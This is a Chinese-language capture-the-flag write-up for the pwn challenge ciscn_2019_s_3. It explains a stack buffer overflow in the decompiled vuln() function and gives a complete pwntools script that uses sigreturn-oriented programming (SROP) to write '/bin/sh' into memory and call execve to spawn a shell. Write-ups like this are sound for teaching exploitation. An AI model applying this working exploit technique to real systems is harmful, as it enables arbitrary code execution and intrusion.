ciscn_2019_s_3
题目链接 :ciscn_2019_s_3。
下载附件后,使用 IDA 反编译,定位到主要函数,如下。
int __fastcall main(int argc, const char **argv, const char **envp)
{
return vuln();
}
vuln 函数如下。
signed __int64 vuln()
{
signed __int64 v0; // rax
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
v0 = sys_read(0, buf, 0x400uLL);
return sys_write(1u, buf, 0x30uLL);
}
可以看出,vuln 函数中存在栈溢出漏洞。
留意到程序中存在 gadget 函数,如下。
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
可以看到,这里暗示本题使用 SROP 解法。
解题思路:
- SROP 往一处空间写入字符串 "/bin/sh"。
- SROP 调用 execve,从而 GetShell。
解题脚本如下。
from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *
def pwn():
# .text:00000000004004D6 gadgets proc near
# .text:00000000004004D6 ; __unwind {
# .text:00000000004004D6 push rbp
# .text:00000000004004D7 mov rbp, rsp
# .text:00000000004004DA mov rax, 0Fh
# .text:00000000004004E1 retn
# .text:0000000000400517 syscall
# .text:0000000000400519 retn
# pwn.elf:0000000000601200
p()
frameExecve = SigreturnFrame()
frameExecve.rax = constants.SYS_read
frameExecve.rdi = 0
frameExecve.rsi = 0x0000000000601200
frameExecve.rdx = 0x1000
frameExecve.rbp = 0x0
frameExecve.rsp = 0x0000000000601208
frameExecve.rip = 0x0000000000400517
s(0x10 * b'a' + \
p64(0x00000000004004DA) + \
p64(0x0000000000400517) + \
bytes(frameExecve))
frameExecve = SigreturnFrame()
frameExecve.rax = constants.SYS_execve
frameExecve.rdi = 0x0000000000601200
frameExecve.rsi = 0x0
frameExecve.rdx = 0x0
frameExecve.rbp = 0x0
frameExecve.rsp = 0x0000000000601300
frameExecve.rip = 0x0000000000400517
s(b"/bin/sh\x00" + p64(0x00000000004004DA) + p64(0x0000000000400517) + bytes(frameExecve))
irt()
pwn()

浙公网安备 33010602011771号